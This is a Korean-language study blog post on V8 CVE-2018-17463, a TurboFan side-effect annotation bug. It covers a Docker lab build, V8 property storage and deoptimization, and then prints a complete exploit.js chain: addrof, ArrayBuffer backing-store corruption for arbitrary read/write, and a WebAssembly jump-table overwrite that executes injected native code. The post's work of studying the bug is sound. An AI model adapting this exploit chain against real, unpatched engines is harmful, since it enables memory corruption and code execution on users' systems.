Post

[V8] CVE-2018-17463

[V8] CVE-2018-17463

V8을 공부하기 시작한지 대략 4개월정도 지났지만 도대체 이런 개념들이 어떻게 활용되고 실제 취약점에서 어떻게 연결되는지 머릿속에서 그려지지 않아서 그냥 취약점 한 개를 잡아서 탑다운으로 공부해보기로 했다.

선택한 취약점은 CVE-2018-17463이다. 이 취약점은 TurboFan의 JSCreateObject 연산에 지정된 잘못된 side-effect 정보 때문에 최적화기가 실제 힙 상태와 다른 상태를 믿게 된 문제다.

V8에선 이 취약점이 교과서적인 취약점이고, 또 지금까지 내가 공부했던 개념들을 하나의 흐름으로 연결하기 좋아보여서 선정했다.


환경 구축

CVE-2018-17463은 2018년에 수정된 취약점이고 당시 V8 빌드 도구는 python2 문법에다가 당시의 GN, ninja, Clang 등 여러 의존성을 가지기 때문에 Ubuntu 18.04 도커 컨테이너로 구축했다.

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
FROM ubuntu:18.04

LABEL org.opencontainers.image.title="V8 CVE-2018-17463 study lab"
LABEL org.opencontainers.image.description="Reproducible V8 2018 study environment for CVE-2018-17463"

ENV DEBIAN_FRONTEND=noninteractive
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8

ENV DEPOT_TOOLS_REV=c4a7356a469b3b6267965d7bcc318cf35cdd3b62
ENV V8_VULNERABLE_REV=568979f4d891bafec875fab20f608ff9392f4f29
ENV V8_FIXED_REV=52a9e67a477bdb67ca893c25c145ef5191976220
ENV DEPOT_TOOLS_UPDATE=0
ENV PATH=/opt/depot_tools:${PATH}

RUN apt-get update \
    && apt-get install -y --no-install-recommends \
        ca-certificates curl file git lsb-release python python-dev sudo \
    && rm -rf /var/lib/apt/lists/*

RUN git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git /opt/depot_tools \
    && git -C /opt/depot_tools checkout "${DEPOT_TOOLS_REV}" \
    && python /opt/depot_tools/update_depot_tools_toggle.py --disable

WORKDIR /work

RUN gclient config --name=v8 https://chromium.googlesource.com/v8/v8.git \
    && gclient sync --revision "v8@${V8_VULNERABLE_REV}" --no-history --nohooks

RUN apt-get update \
    && apt-get install -y --no-install-recommends tzdata \
    && /work/v8/build/install-build-deps.sh \
        --no-prompt --no-syms --no-arm --no-nacl \
        --no-chromeos-fonts --no-backwards-compatible \
    && rm -rf /var/lib/apt/lists/*

RUN gclient runhooks

RUN git -C /work/v8 fetch --depth=1 origin "${V8_FIXED_REV}" \
    && git -C /work/v8 checkout "${V8_VULNERABLE_REV}"

COPY labs /work/labs

RUN useradd --create-home --shell /bin/bash --uid 1000 v8lab \
    && mkdir -p /work/artifacts \
    && chown -R v8lab:v8lab /work

USER v8lab
WORKDIR /work/v8

CMD ["/bin/bash"]

이미지 빌드

1
2
3
4
5
docker build \
  --platform linux/amd64 \
  --progress=plain \
  -t v8-cve-2018-17463:lab . \
  2>&1 | tee artifacts/00-docker-build.log

컨테이너 생성

1
2
3
4
5
6
7
8
9
10
docker run \
  --platform linux/amd64 \
  --interactive \
  --tty \
  --name v8-cve-2018-17463-lab \
  --network none \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --mount type=bind,src="$(pwd)/artifacts",dst=/work/artifacts \
  v8-cve-2018-17463:lab

취약 버전 d8 빌드

1
2
3
4
5
6
7
python tools/dev/v8gen.py gen \
  -b x64.debug \
  x64.debug.vulnerable \
  --no-goma

ninja -C out.gn/x64.debug.vulnerable d8 \
  2>&1 | tee /work/artifacts/01-build-vulnerable.log


V8 객체 구조

JavaScript Property

JavaScript 소스에서는 o.x처럼 프로퍼티 이름으로 값을 읽는다. V8은 객체의 구조를 설명하는 Map과 실제 값을 보관하는 저장소를 조합해 프로퍼티를 찾는다.

Map은 객체의 구조를 해석하는 정보이다. 같은 이름의 프로퍼티를 같은 순서로 가진 객체는 같은 Map을 공유한다. 프로퍼티가 추가되면 기존 Map에서 새로운 Map으로 전이한다.

map.js

1
2
3
4
5
6
7
8
const a = {x: 1, y: 2};
const b = {x: 3, y: 4};

%DebugPrint(a);
%DebugPrint(b);

b.z = 5;
%DebugPrint(b);

보면 처음엔 a의 Map의 주소와 b의 Map 주소가 같은걸 볼 수 있다. 하지만 b에 z를 추가한 뒤 Map의 주소는 0x2638ea78ca21로 바뀐 것을 볼 수 있다.


in-object property와 PropertyArray

named property 값은 JSObject 본체의 in-object slot 또는 properties 필드가 가리키는 PropertyArray에 저장될 수 있다.

fast property에서 이름과 슬롯 정보는 Map이 참조하는 DescriptorArray 쪽에 있고 실제 값은 본체나 PropertyArray에 들어간다. Map을 알고 있으면 이름 검색을 반복하지 않고 정해진 offset을 사용할 수 있다.

최적화 코드가 특정 Map을 기준으로 계산한 프로퍼티 위치를 사용하려면, 실제 객체가 여전히 그 Map과 호환되는 저장 방식을 사용해야 한다.

property_storage.js

1
2
3
4
5
6
7
8
9
10
11
12
const fast = {a: 1};
for (let i = 0; i < 8; i++) {
  fast["p" + i] = i;
}

const dictionary = {};
for (let i = 0; i < 32; i++) {
  dictionary["p" + i] = i;
}

%DebugPrint(fast);
%DebugPrint(dictionary);

첫 번째 객체에는 [FastProperties]가 표시됐고, properties 필드는 PropertyArray[9]를 가리키고 있다.

객체를 생성할 때부터 존재했던 a는 객체 본체의 data field 0에 저장됐다. 이후 동적으로 추가한 p0부터 p7은 객체 내부 공간을 넘어 각각 PropertyArray의 properties[0]부터 properties[7]에 저장됐다.

여기서 Fast Properties는 Map과 DescriptorArray가 각 프로퍼티의 고정된 위치를 알고 있어 빠르게 접근할 수 있다는 의미다. 실제 값은 in-object slot과 PropertyArray에 나뉘어 저장될 수 있다.

두 번째 객체에는 [DictionaryProperties]와 dictionary_map이 표시됐으며, properties 필드는 NameDictionary[197]을 가리키고 있다.

이 객체는 프로퍼티 값을 객체 본체나 고정된 PropertyArray 슬롯에 저장하지 않는다. 프로퍼티 이름, 값, 속성 정보를 NameDictionary가 함께 관리한다.

프로퍼티가 p0, p1, p2 순서로 출력되지 않는 이유도 NameDictionary가 선형 배열이 아니라 해시 기반 자료구조이기 때문이다.

각 항목의 [WEC]는 다음 속성을 의미한다.

1
2
3
W: Writable
E: Enumerable
C: Configurable

NameDictionary[197]의 197은 프로퍼티가 197개라는 뜻이 아니라 dictionary backing store의 내부 크기와 관련된 값이다.


dictionary properties와 NameDictionary

객체가 매우 동적으로 바뀌면 Map 전이를 계속 만드는 방식이 비효율적이다. 이때 V8은 named property를 dictionary 방식으로 관리한다.

1
2
3
4
5
6
fast properties
  DescriptorArray: 이름과 위치 정보
  PropertyArray: 값이 들어 있는 선형 슬롯

dictionary properties
  NameDictionary: 이름, 값, property detail을 함께 보관

PropertyArray와 NameDictionary는 내부 배치와 의미가 다르다. fast-property Map을 기준으로 계산한 offset을 dictionary 저장소에 적용하면 같은 위치의 비트가 전혀 다른 의미를 가질 수 있다.


Object.create와 prototype 준비

Object.create(o)는 새 객체를 만들고 o를 prototype으로 사용한다. JavaScript 관점에서는 기존 객체 o의 값이 유지되지만, 엔진은 o를 prototype으로 추적하기 위해 내부 준비 작업을 수행할 수 있다.

취약 당시 구현에서는 OptimizeAsPrototype과 프로퍼티 정규화가 관여할 수 있었다. 이 과정은 o의 Map과 named-property 표현을 바꿀 가능성이 있다.

object_create.js

1
2
3
4
5
6
7
8
9
const o = {a: 1};

for (let i = 0; i < 8; i++) {
  o["p" + i] = i;
}

%DebugPrint(o);
Object.create(o);
%DebugPrint(o);

Object.create(o) 호출 전후 모두 객체 주소는 0x284578e1f1 로 같았다. 즉 동일한 객체의 내부 표현이 변경된 것이다.

구분호출 전호출 후
Map0x04f246a8cc010x04f246a8cca1
프로퍼티 방식FastPropertiesDictionaryProperties
저장소PropertyArray[9]NameDictionary[53]

호출 전에는 a가 객체 내부에, p0~p7이 PropertyArray의 고정 슬롯에 저장됐다. 호출 후에는 Map에 dictionary_map과 prototype_map이 표시되고, 모든 프로퍼티가 NameDictionary의 entry로 관리됐다.


최적화와 Deoptimization

Ignition ~ TurboFan

  1. Parser
  2. Ignition bytecode
  3. 반복 실행과 Feedback 수집
  4. TurboFan 최적화 그래프
  5. Map과 타입을 가정한 머신 코드
  6. Guard 성공 : 바른 경로 유지
  7. Guard 실패 : Deoptimization

Ignition은 bytecode를 실행하면서 프로퍼티 접근 위치에 어떤 Map이 반복해서 등장했는지 Feedback Vector에 기록할 수 있다. TurboFan은 이를 사용해 일반적인 이름 검색을 특정 Map 검사와 offset load로 바꾼다.

Guard와 Deoptimization

Guard는 최적화 가정을 실행 중에 확인하는 검사다. 다른 shape의 객체가 들어오면 Guard가 실패하고 V8은 생략했던 실행 상태를 복원해 덜 최적화된 코드로 돌아간다. Deoptimization은 오류가 아니라 추측 최적화를 안전하게 사용하기 위한 정상 메커니즘이다.

normal_deopt.js

1
2
3
4
5
6
7
8
9
10
11
12
function readX(o) {
  return o.x + 1;
}

for (let i = 0; i < 10000; i++) {
  readX({x: i});
}

%OptimizeFunctionOnNextCall(readX);
readX({x: 1});

readX({x: 1, extra: true});

readX는 반복 호출로 수집한 Feedback을 기반으로 TurboFan에서 최적화됐다.

1
2
[compiling method ... using TurboFan]
[optimizing ...]

이후 {x, extra}처럼 다른 Map을 가진 객체가 입력되자 다음 로그가 발생했다.

1
deoptimize at normal_deopt.js:2:12, wrong map

TurboFan이 기대한 Map과 실제 객체의 Map이 달랐기 때문에 wrong map Guard가 실패했고, 최적화 코드를 중단한 뒤 bytecode 실행 상태로 복원한 것이다.

value, control, effect

  • value dependency는 계산 결과가 다음 계산의 입력이 되는 관계다.
  • control dependency는 분기와 실행 도달 순서를 나타낸다.
  • effect dependency는 힙 읽기와 쓰기의 순서 및 상호 영향을 나타낸다.
1
2
3
a = o.x
힙을 바꿀 수 있는 연산
b = o.x

가운데 연산이 o 또는 관련 힙 상태를 바꿀 수 있다면 두 번째 load를 첫 번째 load로 대체하면 안된다. effect 정보는 optimizer가 이런 변환의 안전성을 판단할 때 사용한다.


CVE-2018-17463 Root Cause

취약점 전체 흐름

  1. 동일한 shape의 객체로 함수가 실행된다.
  2. Feedback을 바탕으로 TurboFan이 Map과 프로퍼티 위치를 specialize한다.
  3. 최적화 함수 안에서 Object.create(o)가 실행된다.
  4. runtime은 o를 prototype으로 준비하며 내부 표현을 바꿀 수 있다.
  5. 그러나 JSCreateObject에는 kNoWrite 속성이 지정돼 있다.
  6. optimizer는 이 연산이 effect를 수정하지 않는다고 믿는다.
  7. 연산 이전의 Map과 프로퍼티 위치 지식이 이후에도 유효하다고 취급된다.
  8. 실제 객체와 최적화 코드가 서로 다른 저장소 표현을 기준으로 동작한다.
  9. 잘못된 슬롯을 다른 타입으로 읽는 type confusion이 된다.

CreateObject IR과 kNoWrite

당시 Operator::Property에서 kNoWrite는 이 연산이 effect를 수정하지 않으며 새로운 scheduling dependency를 만들지 않는다는 optimizer용 보장이다.

kNoProperties는 프로퍼티를 건드리지 않는게 아니라 enum 값 0으로 특별한 성질을 보장하지 않는 설정이다.

1
2
- V(CreateObject, Operator::kNoWrite, 1, 1)
+ V(CreateObject, Operator::kNoProperties, 1, 1)

패치 전엔 optimizer에게 이 연산은 effect를 쓰지 않는다고 못박았지만 패치 후엔 effect를 바꿀 수 있는 연산으로 취급한다.

Guard와 Deopt

Deoptimization은 최적화기가 가정이 깨졌다는 사실을 감지했을 때만 실행할 수 있다. effect annotation이 잘못돼 중간 연산이 객체 상태를 바꾸지 않는다고 모델링되면, optimizer는 기존 load나 Map 지식을 재사용할 수 있다.

Deopt 기능이 없어서 생긴 취약점이 아니라 Deopt가 필요하다는 정보를 그래프가 잃어버린 것이 문제다.

compiler state와 runtime state

| 구분 | 최적화기가 믿은 상태 | 실제 runtime 상태 | |—|—|—| | Object.create의 effect | 기존 지식을 무효화하지 않음 | prototype 준비 과정에서 표현 변경 가능 | | 객체 Map | 기존 Map 가정이 계속 유효 | 다른 Map 또는 prototype용 상태 | | properties 저장소 | fast-property 규칙 | dictionary 표현으로 정규화될 수 있음 | | 프로퍼티 위치 | 기존 descriptor의 고정 slot | NameDictionary의 다른 배치 | | 타입 | 해당 property에서 관찰한 타입 | 잘못된 위치의 다른 값과 타입 |


Exploit

익스플로잇은 다음 체인을 한 파일에서 구성한다.

  • addrof
  • ArrayBuffer backing_store 변조
  • arbitrary read/write
  • Wasm jump table 쓰기
  • 제어한 네이티브 코드 실행

SSD의 원래 브라우저 PoC는 Blink vtable과 ROP를 사용했지만 여기서는 쉬운 공개 d8 방식인 Wasm jump table을 사용했다.

겹치는 프로퍼티 찾기

취약 함수는 inline을 읽어 fast-property Map 지식을 만든 뒤 Object.create(object)로 실제 객체를 dictionary mode로 바꾸고 p0~p31을 읽는다. 각 프로퍼티에 -1~-31을 넣고 반환값을 비교하면 최적화기가 pX를 읽는다고 생각했지만 실제 NameDictionary에서는 pY가 나온 쌍을 찾을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
function findOverlappingProperties() {
  const names = [];
  for (let i = 0; i < NUM_PROPERTIES; i++) names.push("p" + i);

  eval(`
    function vulnOverlap(object) {
      object.inline;
      this.Object.create(object);
      ${names.map(name => `let ${name} = object.${name};`).join("\n")}
      return [${names.join(", ")}];
    }
  `);

addrof

두 프로퍼티에 다음 객체를 배치한다.

1
2
property1 -> {x1: 13.37, x2: 13.38}
property2 -> {y1: target}

TurboFan은 property1.x1을 unboxed double로 읽는다. 그러나 dictionary 전환 후 실제 겹친 property2.y1의 JSObject 포인터가 로드되면 포인터 비트가 double로 노출된다.

1
const address = ftoi(confusedDouble) - 1n;

-1n은 당시 V8의 HeapObject 태그를 제거한다. 이것이 주소 누출 primitive인 addrof다.

ArrayBuffer와 arbitrary read/write

다음 confusion에서는 property1.x2 쓰기가 실제로는 property2에 놓인 ArrayBuffer의 내부 필드를 덮게 한다. 취약 커밋의 src/objects/js-array-buffer.h에서 x64 backing_store는 객체 시작점에서 32바이트 위치다.

이 구조로 read64, write64, write, 새로운 addrof를 만든다. 코드는 별도 8바이트 ArrayBuffer에 0x1122334455667788을 넣고 같은 값을 arbitrary read로 읽은 뒤 arbitrary write로 0x4142434445464748을 기록해 TypedArray 값이 바뀌는지 확인한다.

WebAssembly 코드 실행

취약 커밋의 src/wasm/wasm-object.h에서 x64 WasmInstanceObject::jump_table_start offset은 0xf0이다.

Payload는 다음과 같다.

1
2
b8 39 05 00 00    mov eax, 1337
c3                ret

원래 42를 반환하던 Wasm 함수의 jump table에 이 6바이트를 기록해 반환값이 1337로 바뀌는지 확인한다.

exploit.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
const DEBUG_TRAP = false;
const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;

const conversionBuffer = new ArrayBuffer(8);
const conversionF64 = new Float64Array(conversionBuffer);
const conversionU64 = new BigUint64Array(conversionBuffer);

function ftoi(value) {
  conversionF64[0] = value;
  return conversionU64[0];
}

function itof(value) {
  conversionU64[0] = value;
  return conversionF64[0];
}

function hex(value) {
  return "0x" + value.toString(16);
}

function makeObject(values) {
  const object = {inline: 42};
  for (let i = 0; i < NUM_PROPERTIES; i++) {
    Object.defineProperty(object, "p" + i, {
      value: values[i],
      writable: true
    });
  }
  return object;
}

function findOverlappingProperties() {
  const names = [];
  for (let i = 0; i < NUM_PROPERTIES; i++) names.push("p" + i);

  eval(`
    function vulnOverlap(object) {
      object.inline;
      this.Object.create(object);
      ${names.map(name => `let ${name} = object.${name};`).join("\n")}
      return [${names.join(", ")}];
    }
  `);

  const values = [];
  for (let i = 1; i < NUM_PROPERTIES; i++) values[i] = -i;

  for (let iteration = 0; iteration < MAX_ITERATIONS; iteration++) {
    const result = vulnOverlap(makeObject(values));
    for (let i = 1; i < result.length; i++) {
      if (i !== -result[i] && result[i] < 0 && result[i] > -NUM_PROPERTIES) {
        return [i, -result[i]];
      }
    }
  }
  throw new Error("overlapping properties not found");
}

function addrof(target, property1, property2) {
  eval(`
    function vulnAddrof(object) {
      object.inline;
      this.Object.create(object);
      return object.p${property1}.x1;
    }
  `);

  const values = [];
  values[property1] = {x1: 13.37, x2: 13.38};
  values[property2] = {y1: target};

  for (let i = 0; i < MAX_ITERATIONS; i++) {
    const result = vulnAddrof(makeObject(values));
    if (result !== 13.37) return ftoi(result) - 1n;
  }
  throw new Error("addrof failed");
}

function corruptArrayBuffer(victim, newBackingStore, property1, property2) {
  eval(`
    function vulnCorrupt(object, replacement) {
      object.inline;
      this.Object.create(object);
      const original = object.p${property1}.x2;
      object.p${property1}.x2 = replacement;
      return original;
    }
  `);

  const values = [];
  const carrier = {x1: 13.37, x2: 13.38};
  values[property1] = carrier;
  values[property2] = victim;
  const replacement = itof(newBackingStore);

  for (let i = 0; i < MAX_ITERATIONS; i++) {
    carrier.x2 = 13.38;
    const result = vulnCorrupt(makeObject(values), replacement);
    if (result !== 13.38) return ftoi(result);
  }
  throw new Error("ArrayBuffer corruption failed");
}

print("[1] finding overlapping properties");
const [property1, property2] = findOverlappingProperties();
print(`[+] p${property1} overlaps p${property2}`);

print("[2] building addrof and ArrayBuffer corruption primitives");
const memoryBuffer = new ArrayBuffer(1024);
const driverBuffer = new ArrayBuffer(1024);
const memoryBufferAddress = addrof(memoryBuffer, property1, property2);
const driverBufferAddress = addrof(driverBuffer, property1, property2);
print(`[+] memoryBuffer = ${hex(memoryBufferAddress)}`);
print(`[+] driverBuffer = ${hex(driverBufferAddress)}`);

const originalDriverBackingStore = corruptArrayBuffer(
    driverBuffer, memoryBufferAddress, property1, property2);
const driver = new BigUint64Array(driverBuffer);
const originalMemoryBackingStore = driver[4];

const memory = {
  read64(address) {
    driver[4] = address;
    return new BigUint64Array(memoryBuffer)[0];
  },
  write64(address, value) {
    driver[4] = address;
    new BigUint64Array(memoryBuffer)[0] = value;
  },
  write(address, bytes) {
    driver[4] = address;
    new Uint8Array(memoryBuffer).set(bytes);
  },
  addrof(object) {
    memoryBuffer.leakMe = object;
    const properties = this.read64(memoryBufferAddress + 8n) - 1n;
    return this.read64(properties + 16n) - 1n;
  }
};

print("[3] testing arbitrary read/write on a disposable ArrayBuffer");
const testBuffer = new ArrayBuffer(8);
const testView = new BigUint64Array(testBuffer);
testView[0] = 0x1122334455667788n;
const testBufferAddress = memory.addrof(testBuffer);
const testBackingStore = memory.read64(testBufferAddress + 32n);
const readBack = memory.read64(testBackingStore);
if (readBack !== 0x1122334455667788n) throw new Error("arbitrary read failed");
memory.write64(testBackingStore, 0x4142434445464748n);
if (testView[0] !== 0x4142434445464748n) throw new Error("arbitrary write failed");
print("[+] arbitrary read/write verified");

print("[4] creating a WebAssembly instance");
const wasmCode = new Uint8Array([
  0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
  3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,
  5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,
  7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,
  4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,
  128,0,0,65,42,11
]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const wasmFunction = wasmInstance.exports.main;
print(`[+] wasm before overwrite = ${wasmFunction()}`);

const wasmInstanceAddress = memory.addrof(wasmInstance);
const wasmJumpTable = memory.read64(wasmInstanceAddress + 0xf0n);
print(`[+] WasmInstance = ${hex(wasmInstanceAddress)}`);
print(`[+] jump_table_start = ${hex(wasmJumpTable)}`);

const payload = DEBUG_TRAP
    ? new Uint8Array([0xcc, 0xc3])
    : new Uint8Array([0xb8, 0x39, 0x05, 0x00, 0x00, 0xc3]);
memory.write(wasmJumpTable, payload);

print(DEBUG_TRAP
    ? "[5] entering int3; GDB should stop at the Wasm jump table"
    : "[5] executing mov eax, 1337; ret");
const result = wasmFunction();

if (!DEBUG_TRAP) {
  if (result !== 1337) throw new Error("code execution verification failed");
  print(`[+] wasm after overwrite = ${result}`);
  print("[+] controlled native code execution verified");

  // Repair both backing-store pointers before normal process teardown.
  driver[4] = originalMemoryBackingStore;
  memory.write64(driverBufferAddress + 32n, originalDriverBackingStore);
}


직접 해봤는데도 V8 취약점은 완벽하게 이해하기 어렵다.. 익스코드쪽은 아직도 하나도 모르겠다 그냥

처음엔 다 모르겠었는데 AI의 도움으로 모르는 개념들을 채워가며 공부하다보니 개념쪽은 조금 감이 잡힌거같다.

글에는 되게 전문적으로 적어놨지만 실제로는 JIT 컴파일러가 최적화 하는 과정에서 kNoWrite로 잘못 Annotation하여 최적화 과정에서 필수적인 CheckMap 연산이 제거되면서 Type Confusion이 발생했다 정도만 이해했다.

This post is licensed under CC BY 4.0 by the author.